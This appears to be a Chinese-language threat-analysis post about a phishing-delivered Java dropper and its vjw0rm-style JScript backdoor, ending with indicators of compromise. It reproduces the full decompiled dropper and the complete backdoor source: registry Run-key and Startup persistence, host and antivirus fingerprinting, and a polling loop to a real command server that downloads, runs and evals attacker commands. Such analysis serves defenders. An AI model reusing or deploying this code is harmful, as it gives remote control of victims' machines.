日常巡逻检查某APT预警系统告警,发现一个java写的简单远控木马告警,投递手段为钓鱼邮件,样本通过反射机制和简单的混淆与编码多次打包后门代码。后门代码主要功能为下载文件并写入注册表开机启动实现持久化。
后门代码中包含有如下说明:”// Coded by v_B01 | Sliemerez -> Twitter : Sliemerez”,一个真实存在的阿拉伯人,他注册了多个社交账号,并且有投稿编程教程视频,🐂。根据这篇帖子”https://gathering.tweakers.net/forum/list_messages/1755533“,早在2017年他就开始投递该木马,4年来后门代码基本未变,🐂。
记录
样本反编译代码如下:
package uooypovlas;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class Mkhlxhzrhig {
private static final String liver$$$_$ = "wscript";
private static void dejo$$$(OutputStream paramOutputStream, byte[] paramArrayOfByte) throws IOException {
paramOutputStream.write(paramArrayOfByte);
paramOutputStream.flush();
paramOutputStream.close();
}
private static final String webpackVersioning = "resources/bynueqmffo"; private static final String _$JokerGame = "user.home";
private static void exe(Method paramMethod) throws InvocationTargetException, IllegalAccessException, IOException { new Runtime[2][1] = (new Runtime[2][0] = null).getRuntime(); new Runtime[2][1].exec((String[])paramMethod.invoke(new Mkhlxhzrhig(), new Object[0])); }
private static String vickSon$$(InputStream paramInputStream, StringBuilder paramStringBuilder) throws IOException { return getFidia$$$(paramInputStream, paramStringBuilder).toString(); }
public static void main(String[] paramArrayOfString) throws Exception {
if (new String[0].length == 0) {
Method method = Mkhlxhzrhig.class.getDeclaredMethod("dollar$$", new Class[0]);
exe(method);
}
}
private static StringBuilder getFidia$$$(InputStream paramInputStream, StringBuilder paramStringBuilder) throws IOException {
byte[] arrayOfByte = new byte[1024]; int i;
while ((i = paramInputStream.read(arrayOfByte, 0, arrayOfByte.length)) > 0) {
paramStringBuilder.append(new String(arrayOfByte, 0, i));
}
return paramStringBuilder;
}
private static String[] dollar$$() throws Exception {
ArrayList arrayList = new ArrayList(Arrays.asList(engine$$$$(colllll$())));
arrayList.remove(1);
return (String[])arrayList.toArray(new String[0]);
}
private static String[] engine$$$$(byte[] paramArrayOfByte) throws NoSuchMethodException, FileNotFoundException, InvocationTargetException, IllegalAccessException {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(System.getProperty("user.home"));
stringBuilder.append(File.separator);
stringBuilder.append("_output.js");
String[] arrayOfString = { "wscript", "__$", stringBuilder.toString() };
FileOutputStream fileOutputStream = new FileOutputStream(arrayOfString[2]);
Mkhlxhzrhig.class.getDeclaredMethod("dejo$$$", new Class[] { OutputStream.class, byte[].class }).invoke(new Mkhlxhzrhig(), new Object[] { fileOutputStream, paramArrayOfByte });
return arrayOfString;
}
private static byte[] colllll$() throws Exception { return vickSon$$(Mkhlxhzrhig.class.getResourceAsStream("resources/bynueqmffo"), new StringBuilder()).getBytes(); }
}
后门代码:
// Coded by v_B01 | Sliemerez -> Twitter : Sliemerez
var j = ["WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP"];
var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];
var y = ["winmgmts:","win32_logicaldisk","Win32_OperatingSystem",'AntiVirusProduct'];
var sh = Cr(0);
var fs = Cr(1);
var spl = "|V|";
var Ch = "\\";
var VN = "MYYEAR" + "_" + Ob(6);
var fu = WScript.ScriptFullName;
var wn = WScript.ScriptName;
var U;
try {
U = sh.RegRead(g[2]);
} catch(err) {
var sv = fu.split("\\");
if (":\\" + sv[1] == ":\\" + wn) {
U = "TRUE";
sh.RegWrite(g[2],U,g[5]);
} else {
U = "FALSE";
sh.RegWrite(g[2],U,g[5]);
}
}
Ns();
do {
try {
var P = Pt('Vre','');
P = P.split(spl);
if (P[0] === "Cl") {
WScript.Quit(1);
}
if (P[0] === "Sc") {
var s2 = Ex("temp") + "\\" + P[2];
var fi = fs.CreateTextFile(s2,true);
fi.Write(P[1]);
fi.Close();
sh.run(s2);
}
if (P[0] === "Ex") {
eval(P[1]);
}
if (P[0] === "Rn") {
var ri = fs.OpenTextFile(fu,1);
var fr = ri.ReadAll();
ri.Close();
VN = VN.split("_");
fr = fr.replace(VN[0],P[1]);
var wi = fs.OpenTextFile(fu,2,false);
wi.Write(fr);
wi.Close();
sh.run("wscript.exe //B \"" + fu + "\"");
WScript.Quit(1);
}
if (P[0] === "Up") {
var s2 = Ex("temp") + "\\" + P[2];
var ctf = fs.CreateTextFile(s2,true);
var gu = P[1];
gu = gu.replace("|U|","|V|");
ctf.Write(gu);
ctf.Close();
sh.run("wscript.exe //B \"" + s2 + "\"",6);
WScript.Quit(1);
}
if (P[0] === "Un") {
var s2 = P[1];
var vdr = fu;
var regi = "SEJOKAOI5S";
s2 = s2.replace("%f",fu).replace("%n",wn).replace("%sfdr",vdr).replace("%RgNe%",regi);
eval(s2);
WScript.Quit(1);
}
if (P[0] === "RF") {
var s2 = Ex("temp") + "\\" + P[2];
var fi = fs.CreateTextFile(s2,true);
fi.Write(P[1]);
fi.Close();
sh.run(s2);
}
} catch(err) {
}
WScript.Sleep(7000);
} while (true) ;
function Ex(S) {
return sh.ExpandEnvironmentStrings("%" + S + "%");
}
function Pt(C,A) {
var X = Cr(3);
X.open('POST','http://javaslinns.duia.ro:1333/' + C, false);
X.SetRequestHeader("User-Agent:",nf());
X.send(A);
return X.responsetext;
}
function nf() {
var s,NT,i;
if (fs.fileexists(Ex("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")) {
NT ="YES";
} else {
NT = "NO";
}
s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(2) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;
return s;
}
function Cr(N) {
return new ActiveXObject(j[N]);
}
function Ob(N) {
var s;
if (N == 2) {
s = GetObject(y[0]).InstancesOf(y[2]);
var en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
var it = en.item();
return it.Caption;
break;
}
}
if (N == 4) {
var wmg = "winmgmts:\\\\localhost\\root\\securitycenter";
s = GetObject(wmg).InstancesOf(y[3]);
var en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
var it = en.item();
var str = it.DisplayName;
}
if (str !== '') {
wmg = wmg + "2";
s = GetObject(wmg).InstancesOf(y[3]);
en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
it = en.item();
return it.DisplayName;
}
} else {
return it.DisplayName;
}
}
if (N==6) {
s = GetObject(y[0]).InstancesOf(y[1]);
var en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
var it = en.item();
return it.volumeserialnumber;
break;
}
}
}
function Ns() {
try {
sh.RegWrite(g[0] + g[3] + "SEJOKAOI5S","\"" + fu + "\"",g[5]);
} catch(err) {
}
try {
var ap = Cr(2);
fs.CopyFile(fu, ap.NameSpace(7).Self.Path + "\\" + wn,true);
} catch(err) {
}
}
IOC
15332@ms61.hinet.net
l5332@ms61.hinet.net
hxxp://javaslinns.duia[.]ro:1333/
A29562CBDE90B5915698EAA6680F225C